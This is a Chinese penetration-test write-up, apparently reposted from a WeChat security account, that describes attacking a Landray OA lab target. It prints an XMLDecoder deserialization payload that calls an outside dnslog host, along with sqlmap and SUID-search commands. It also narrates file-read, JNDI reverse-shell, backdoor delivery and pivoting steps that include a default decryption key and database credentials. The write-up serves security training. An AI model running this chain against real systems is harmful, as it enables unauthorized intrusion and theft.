某蓝凌OA靶场渗透测试全过程
首先拿到OA,进入8080端口,显示界面如下
Google一下蓝凌OA有哪些漏洞,发现有任意文件读取漏洞和远程命令执行,尝试执行漏洞
利用post传参,构造如图payload,发现可以查看到password文件,发现这个参数可用,于是进一步查看配置文件/WEB-INF/KmssConfig/admin.properties
构造如图payload,可以看到password被加密,通过Google可以了解到这是DES加密,默认秘钥为kmssAdminkey,进行解密
使用解密得到的密码,登录admin.do
另一个漏洞思路 XML反序列化
通过google发现还有一个反序列化漏洞,依然会通过custom.jsp进行任意文件读取,然后访问/sys/search/sys_search_main/sysSearchMain.do,该url下有xml反序列化漏洞的存在,通过Google了解到xml参数为fdParameters,利用工具XMLDecoder-payload-generator自动生成payload
此时想利用ping dns来证明xml漏洞的可用性,于是构造了如图的payload
代码:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>oqy3om.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>
将payload插入到URL中
但是发现dnslog并没有记录
再三确认操作步骤无误后,猜测可能是该服务器设置了防火墙,导致ping无法出网,利用本机ping该服务器,也无法ping通,确定该服务器设置了防火墙
该思路gg
再换一个思路,找到一个看起来可以SQL注入的点,其URL为http://192.168.161.8:8080/km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=2&ordertype=down&s_ajax=true,orderby参数看起来可以注入,对其进行尝试。
抓包,得到包如下
存为文件,用sqlmap跑一下
sqlmap -r sql.txt -p orderby --dbs
但是跑不出来,显示该参数不可注入,很怪
Google一下教程,都显示可以在该点进行注入,但是一直失败
尝试一下用pangolin,结果惊到我了
居然是空的。我不理解
问了师傅,师傅说不会是空的,不然网站搭不起来,但是为什么是空的,我想不出来
最后还是回归JNDI注入,开始对工具进行魔改
通过前面的实验可以发现,工具默认的端口是无法连通的,所以要在源码中改端口,但是哪些端口可用依然不可知,所以拿常见端口一个一个试,将rmi服务端口改为80后,发现有反应了,wireshark可以抓取到流量
但是只抓取到了访问80端口的,并没有重定向来加载自定义类,说明另一个端口还没有猜对,同时,工具也报错
再一遍遍的改端口打包运行,终于
80端口和1433端口都可以连通,而且工具也一切正常,没有报错
用curl命令测试恶意类是否可以执行
返回消息中存在恶意类中的信息,说明恶意类可以执行,然后加入payload,利用nc反弹shell
但是并没有效果,猜测可能是服务器中的nc版本没有-e选项,于是用反向代理
成功!nc拿到反弹shell
利用find查找可以以root权限执行的命令
find / -perm -u=s -type f 2>/dev/null
发现可以用find提权
接下来是拿数据库的shell
通过后台信息抓包得知数据库ip为10.10.10.2,账号为sa,密码为sa@Admin。因为已知是sqlserver,所以先尝试用3389看看可不可以连接,在这之前需要先建立隧道将已经拿到的服务器设为代理
用rdesktop连接,失败,似乎是没开3389
换个法子,将数据库的1433端口映射到本地的4444,直接连接,结果发现linux连接sqlserver需要下好多插件,太复杂,放弃,再换思路
决定直接用msf渗透提权了
首先生成后门程序
然后使用nc将文件传输过去,结果运行后并没有上线,发现生成的文件是空的,但是在本机上打开木马是可以上线的,没有想明白是什么原因,想到用scp进行传输,但是scp是基于ssh协议,需要密码,就很烦。想到可以在本机上开启http服务,用curl传过去,Python2内置的有SimpleHTTPServer版块,直接打开http服务,在靶机上使用curl,成功传过去,运行并上线
查看路由,发现有一个内网网段10.10.10.0/24,添加路由
然后添加socks5代理
利用msf的mssql渗透模块,对其进行渗透
OK!System权限!大功告成!
原文始发于微信公众号(藏剑安全):某蓝凌OA靶场渗透测试全过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论